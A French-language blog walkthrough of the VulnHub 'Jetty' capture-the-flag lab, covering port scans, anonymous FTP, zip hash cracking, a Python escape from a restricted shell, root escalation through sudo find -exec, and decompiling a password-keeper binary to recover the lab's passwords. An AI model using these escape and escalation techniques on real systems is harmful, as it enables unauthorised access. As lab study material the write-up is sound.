Accueil Solution du CTF Jetty de VulnHub
Post
Annuler

Solution du CTF Jetty de VulnHub

Jet Set

Jetty est un CTF posté sur VulnHub en décembre 2020.

Il nous plonge dans le scénario suivant :

The company Aquarium Life S.L. has contacted you to perform a pentest against one of their machines.
They suspect that one of their employees has been committing fraud selling fake tickets.

They want you to break into his computer, escalate privileges and search for any evidences that proves this behaviour

Il y a aussi un indice primordial pour résoudre le challenge (sinon trop compliqué à deviner) :

The suspicious username is Squiddie.

Une fois la VM importée et rattachée au réseau privé virtuel vboxnet0 je scanne les IPs sur la plage d’adresses correspondante :

1
$ sudo nmap -T5 -sP 192.168.56.1/24

Il en ressort une IP répondant au ping :

1
2
3
Nmap scan report for 192.168.56.37
Host is up (0.00029s latency).
MAC Address: 08:00:27:58:B4:B0 (Oracle VirtualBox virtual NIC)

Etape suivante, le scan des ports TCP de cette adresse :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ sudo nmap -T5 -p- -sCV 192.168.56.37 -oA jetty
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-27 10:13 CEST
Nmap scan report for 192.168.56.37
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxrwxrwx    1 ftp      ftp           306 Oct 06  2018 README.txt [NSE: writeable]
|_-rwxrwxrwx    1 ftp      ftp           226 Oct 06  2018 sshpass.zip [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.56.1
|      Logged in as ftp
|      TYPE: ASCII
|      Session bandwidth limit in byte/s is 2048000
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 4 disallowed entries 
|_/dir/ /passwords/ /facebook_photos /admin/secret
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
65507/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a05be6bbfdf602ecf0bda1beb89784ba (RSA)
|   256 e9d350267e5ac2a0b089c9f464d8aab0 (ECDSA)
|_  256 2e67c1afcc225c59155f97f72e1be093 (ED25519)
MAC Address: 08:00:27:58:B4:B0 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Une recherche sur la bannière SSH nous renvoie sur ce paquet pour Ubuntu laissant entendre que le système est en version Ubuntu 18.04 LTS (Bionic Beaver).

Le serveur FTP permettant l’accès anonyme j’enchaîne directement sur la récupération des fichiers comme ce fichier texte :

1
2
3
Hi Henry, here you have your ssh's password. As you can see the file is encrypted with the default company's password. 
Please, once you have read this file, run the following command on your computer to close the FTP server on your side. 
IT IS VERY IMPORTANT!! CMD: service ftp stop.

Comme indiqué le fichier sshpass.zip est protégé par un mot de passe. Il convient de d’abord générer un hash correspondant au fichier via zip2john (utilitaire que l’on trouve avec la version Jumbo de John The Ripper) :

1
2
3
$ ./zip2john sshpass.zip 
ver 1.0 efh 5455 efh 7875 sshpass.zip/sshpass.txt PKZIP Encr: 2b chk, TS_chk, cmplen=38, decmplen=26, crc=CA21C815 ts=45E9 cs=45e9 type=0
sshpass.zip/sshpass.txt:$pkzip$1*2*2*0*26*1a*ca21c815*0*45*0*26*45e9*af4474f0c7ea2f6f4e4f9673b6cfbe90697cfeb31a7b4dceaeffb6a732fd46e59302781fd1cf*$/pkzip$:sshpass.txt:sshpass.zip::sshpass.zip

On cracke ensuite le hash qu’on aura recopié dans un fichier :

1
2
3
4
5
6
7
8
9
$ ./john --wordlist=rockyou.txt hashes.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
seahorse!        (sshpass.zip/sshpass.txt)     
1g 0:00:00:00 DONE (2022-10-27 10:19) 5.555g/s 7281Kp/s 7281Kc/s 7281KC/s serveteleumede..saythatyouloveme
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Le mot de passe indiqué permet d’accéder au fichier dans le zip, ce dernier contenant le mot de passe Squ1d4r3Th3B3$t0fTh3W0rLd à utiliser pour le compte ssh de l’utilisateur squiddie (en minuscules).

Escape Game

Avant d’aller plus loin j’ai fouillé du côté du serveur web mais les entrées du fichier robots.txt étaient toutes invalides et une énumération via feroxbuster n’a rien remonté non plus.

Une fois connecté via SSH on est averti que l’on est dans un bash restreint :

1
2
3
4
*You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
squiddie:~$ ?
cd  clear  exit  help  history  lpath  ls  lsudo  pwd  python  whoami

Le comportement est similaire à sudo dans le sens où la whitelist semble attendre des commandes exactes :

1
2
3
4
squiddie:~$ python -c 'import pty; pty.spawn("bash")'
*** forbidden syntax -> "python -c 'import pty; pty.spawn("bash")'"
*** You have 1 warning(s) left, before getting kicked out.
This incident has been reported.

On va donc utiliser l’interpréteur Python de façon interactive pour s’échapper du rbash :

1
2
3
4
5
6
7
squiddie:~$ python
Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pty; pty.spawn("bash")
squiddie@jetty:~$ id
uid=1001(squiddie) gid=1001(squiddie) groups=1001(squiddie)

Je relève les fichiers suivants dans le dossier de l’utilisateur :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
./Desktop:
total 16
drwxr-xr-x  2 squiddie squiddie 4096 Nov 11  2018 .
drwxr-xr-x 14 squiddie squiddie 4096 Oct 27 03:32 ..
-rw-rw-r--  1 squiddie squiddie  112 Oct 22  2018 To_Michael.txt
-rw-r--r--  1 squiddie squiddie   33 Nov 11  2018 user.txt

./Documents:
total 900
drwxr-xr-x  3 squiddie squiddie   4096 Oct 22  2018 .
drwxr-xr-x 14 squiddie squiddie   4096 Oct 27 03:32 ..
-rw-r--r--  1 squiddie squiddie  28307 Oct  9  2018 laboral_calendar_2018.pdf
-rw-r--r--  1 squiddie squiddie 880236 Oct 22  2018 ticket_prices.PNG
drwxr-xr-x  2 squiddie squiddie   4096 Oct 22  2018 Tickets

./Documents/Tickets:
total 196
drwxr-xr-x 2 squiddie squiddie  4096 Oct 22  2018 .
drwxr-xr-x 3 squiddie squiddie  4096 Oct 22  2018 ..
-rw-r--r-- 1 squiddie squiddie 45676 Oct  7  2018 adult_ticket_f.PDF
-rw-r--r-- 1 squiddie squiddie 45745 Oct  7  2018 adult_ticket.PDF
-rw-r--r-- 1 squiddie squiddie 45888 Oct  7  2018 child_ticket_f.PDF
-rw-r--r-- 1 squiddie squiddie 44354 Oct  7  2018 child_ticket.PDF

On obtient le premier flag dans user.txt (dd69f649f3e5159ddd10b83b56b2dda2) et le message suivant destiné à Michael :

Hi Michael,

When I run the command you ask me to, an error occurr. Can you help me with this?

Regards,

Henry

Je note que bien que les tickets pdf semblent identiques visuellement, les sommes de contrôle MD5 ne sont pas les même :

1
2
3
4
57b7f3a75fa81d6e6191c335a612d8c6  adult_ticket_f.PDF
17713bdca88d430aa64e294d06459285  adult_ticket.PDF
6d1061a316ec323937a0930bafaf9b8d  child_ticket_f.PDF
38338c81ae2fab31049c41aba851ae5b  child_ticket.PDF

Sous la racine web je trouve un fichier encodé :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
squiddie@jetty:~$ cat /var/www/html/recoverpassword.txt 
Backup password:

'&%$#"!~}|{zyxwvut210/.-,+k)(!Efedcba`_^]\[ZYXWVUTpohmlkjihg`&GFEDCBA@?>=<;:
9876543210/.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWmrkponmlkdc
b(`_dc\"`BX|?>Z<RWVUNSRKoONGLKDh+*)('&BA:?>=<;:92Vw/43,10)Mnmlkjihgfedcba`_^
]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9UTSRQ3ONMLKJCg*)('&%$#"!~}|{zyxwvutsrq/
(-,+*)('&}|B"b~}v{ts9wputsrqj0QPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$
#"!~}|{zyxwvutsr0/.-,+*)(!~%|Bcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876
543210/.-,+*)('&B$:?>=<;:3270Tu-,+O/.n,%Ijihgfedcba`_^]\[ZYXWVUTSonmlkMibgf_
^$EaZ_^]VUy<XWPOs6543210/.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[Z
YXWVUTSRQPONjihgfedcb[ZBX|\UZYRv9876543210/.-,+*)('&B$@?>=<5:381Uvutsrqpo-,+
k)"'&%|{Aba`_^]yxwYutsrqpi/PONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"!~
}|{zyxwvutsrqponmlkjihgfedcba`_{]sxwvutslkji/PONMLKaf_^]ba`_^W{[ZYXWPOsMRQJI
mGLKJIHG@dDCB;:9]~6;:92Vwvutsrqponmlkjihgfe#"!~}|{zyxq7utsrTpong-NMLKJIHGFED
CBA@?>=<;:9876543210/.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]sxwvuts
rqjihg-,w

Mais je n’ai rien réussi à en tirer. Le site dcode.fr ne trouve pas non plus de quoi il s’agit.

Vers root et au delà

1
2
3
4
5
6
squiddie@jetty:~$ sudo -l 
Matching Defaults entries for squiddie on jetty:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User squiddie may run the following commands on jetty:
    (ALL) NOPASSWD: /usr/bin/find

Les utilisateurs Linux confirmés auront immédiatement recours à l’option exec de la commande :

1
sudo /usr/bin/find -name recoverpassword.txt -exec bash -c 'echo ssh-rsa --- snip ma clé publique ssh --- > /root/.ssh/authorized_keys' \;

Bien que le fichier se soit créé correctement le serveur SSH ne semble pas accepter l’authentification par clé. J’ai eu recours à un appel plus simple :

1
sudo /usr/bin/find -name recoverpassword.txt -exec bash \;

On obtient le second flag et une note sans intérêt :

1
2
3
4
root@jetty:/root/Desktop# cat proof.txt 
136d05d01c8af5d3e3520d2c270f91f1
root@jetty:/root/Desktop# cat note.txt 
Say to Mary that I want to go on vacation on 2 weeks.

L’utilisateur root dispose d’un dossier caché :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
./Documents:
total 220
drwxr-xr-x  4 root root   4096 Oct 22  2018 .
drwx------ 17 root root   4096 Oct 27 03:53 ..
drwxr-xr-x  3 root root   4096 Oct  6  2018 .docs
drwxr-xr-x  2 root root   4096 Oct 22  2018 Tickets_cooked
-rw-r--r--  1 root root 207505 Oct 22  2018 Ticket_Toulouse.PDF

./Documents/.docs:
total 80
drwxr-xr-x 3 root root  4096 Oct  6  2018 .
drwxr-xr-x 4 root root  4096 Oct 22  2018 ..
-rw-r--r-- 1 root root 18944 Oct  6  2018 Accountabilty_not_cooked.xlsx
-rw-r--r-- 1 root root 11968 Oct  6  2018 AccountabiltyReportMorning-1112018.xlsx
-rw-r--r-- 1 root root 15872 Oct  6  2018 MoneyBalance.xlsx
drwxr-xr-x 2 root root  4096 Oct  6  2018 Password_keeper
-rw-r--r-- 1 root root 19456 Oct  6  2018 Pending_to_erase.xlsx

./Documents/.docs/Password_keeper:
total 4744
drwxr-xr-x 2 root root    4096 Oct  6  2018 .
drwxr-xr-x 3 root root    4096 Oct  6  2018 ..
-rw-r--r-- 1 root root     242 Oct  6  2018 database.txt
-rwxr-xr-x 1 root root 4839402 Oct  6  2018 password_keeper.exe
-rw-r--r-- 1 root root     263 Oct  6  2018 usage.txt

./Documents/Tickets_cooked:
total 104
drwxr-xr-x 2 root root  4096 Oct 22  2018 .
drwxr-xr-x 4 root root  4096 Oct 22  2018 ..
-rw-r--r-- 1 root root 45676 Oct  7  2018 adult_ticket_f.PDF
-rw-r--r-- 1 root root 45888 Oct  7  2018 child_ticket_f.PDF

Il y a un fichier qui semble contenir des mots de passe chiffrés avec un outil maison :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@jetty:/root/Documents/.docs/Password_keeper# ls
database.txt  password_keeper.exe  usage.txt
root@jetty:/root/Documents/.docs/Password_keeper# cat usage.txt 
Usage: 
        *Linux: wine password_keeper.exe (database.txt must be in the same folder as the password_keeper.exe)
        *Windows: password_keeper.exe (database.txt must be in the same folder as the password_keeper.exe)

This program was compiled using pyinstaller. 

root@jetty:/root/Documents/.docs/Password_keeper# cat database.txt 
instagram T9Y0Ku/oDv80H8CUzBKkwQ==
facebook IXKnuKh73jCOKcEZAaHnIQ==
Accountabilty_not_cooked rbRH72cf3UiHXcmQB6o0OA==
MoneyBalance rRd3m80KzzTik3Eu9BRWy95GsORKwD+adfTUfPLaxVk=
Pending_to_erase aneylFYmV/jz/7g5j+Ck15oreK1VhmaKmTwa8cdSnpY

Tenter de décoder directement depuis base64 donne effectivement un charabia invalide.

Le point important ici est la mention de PyInstaller dans la documentation.

Comme pour le CTF Uninvited on peut décompresser le zip pour obtenir les scripts Python compilés.

J’ai trouvé un site permettant de faire ça, ce qui fait gagner quelques minutes d’installation :

PyExtractor Jetty VulnHub password_keeper.exe

Une fois les fichiers obtenus on peut utiliser uncompyle6 pour décompiler le fichier Python principal. La problématique que j’avais était que toutes les versions de Python dont je disposais étaient trop récentes pour cet outil (c’est ça d’utiliser openSUSE Tumbleweed)

J’ai choisi d’installer uncompyle6 depuis la VM étudiée mais la machine étant sur le réseau privé virtuel elle n’a pas d’accès à Internet et ne peux donc pas lancer pip.

Solution que j’ai mis en place : faire tourner mitmproxy sur la machine hôte puis spécifier le proxy sur la VM :

1
https_proxy=http://192.168.56.1:8080/ pip install  uncompyle6 --trusted-host pypi.python.org  --trusted-host pypi.org --trusted-host files.pythonhosted.org

Les options supplémentaires permettent de passer outre la vérification des certificats puisque mitmproxy renvoie un certificat invalide à la place (sinon il faut importer une autorité de certification en local etc)

Voici deux extraits intéressants du code décompilé :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def main():
    print 'Welcome to the best password keeper ever!'
    print '__        __         _                _  __                         '
    print '\\ \\      / /__  __ _| | ___   _      | |/ /___  ___ _ __   ___ _ __ '
    print " \\ \\ /\\ / / _ \\/ _` | |/ / | | |_____| ' // _ \\/ _ \\ '_ \\ / _ \\ '__|"
    print '  \\ V  V /  __/ (_| |   <| |_| |_____| . \\  __/  __/ |_) |  __/ |   '
    print '   \\_/\\_/ \\___|\\__,_|_|\\_\\__,  |     |_|\\_\\___|\\___| .__/ \\___|_|   '
    print '                          |___/                    |_|   '
    iv = '166fe2294df5d0f3'
    key = 'N2FlMjE4ZmYyOTI4ZjZiMg=='
    database = read_database()
    loop = True
    while loop:
        print ''
        print 'Choose what you want to do: '
        print '1) See your passwords!'
        print '2) Generate a cipher-password'
        print '3) Close'
        option = raw_input('Insert your selection here --> ')
        if option == '1':
            print ''
            print 'Showing content of your secret passwords...'
            print ''
            show_keys(database, key, iv)
            print ''
            returned = raw_input('Press any button to return to the menu...')

def show_keys(database, key, iv):
    check_permissions = raw_input('Insert password: ')
    if base64.b64encode(check_permissions) == key:
        for i in range(len(database[0])):
            ciphertext = database[1][i]
            decipher = decipher_message(key, ciphertext, iv)
            print ' '
            print 'Tag: ' + database[0][i] + ' Password: ' + decipher
            print ' '

    else:
        print ''
        print 'Tag: Instagram Password: WRONG '
        print 'Tag: Facebook  Password: PASSWORD '
        print 'Tag: SSH       Password: TRY '
        print 'Tag: root      Password: HARDER! '
        print ''

Le code s’attend à ce que le résultat d’un base64 sur le mot de passe saisi corresponde à N2FlMjE4ZmYyOTI4ZjZiMg== soit le mot de passe 7ae218ff2928f6b2.

Le programme généré par PyInstaller est un exécutable Windows mais Wine est installé sur la VM du CTF. On peut donc l’exécuter puis saisir le mot de passe, ce qui nous dump les infos suivantes :

1
2
3
4
5
Tag: instagram Password: S3x1B0y
Tag: facebook Password: M4rK1sS0s3X1
Tag: Accountabilty_not_cooked Password: co8oiads13kt
Tag: MoneyBalance Password: C5Y0wzGqq4Xw8XGD
Tag: Pending_to_erase Password: 1hi2ChHrtkQsUTOc

Quand on se sert de ces mots de passe pour ouvrir les différents fichiers xlsx on comprend que les lignes de compte ont été modifiées pour retirer la vente de deux billets.

Published October 27 2022 at 14:53

Cet article est sous licence CC BY 4.0 par l'auteur.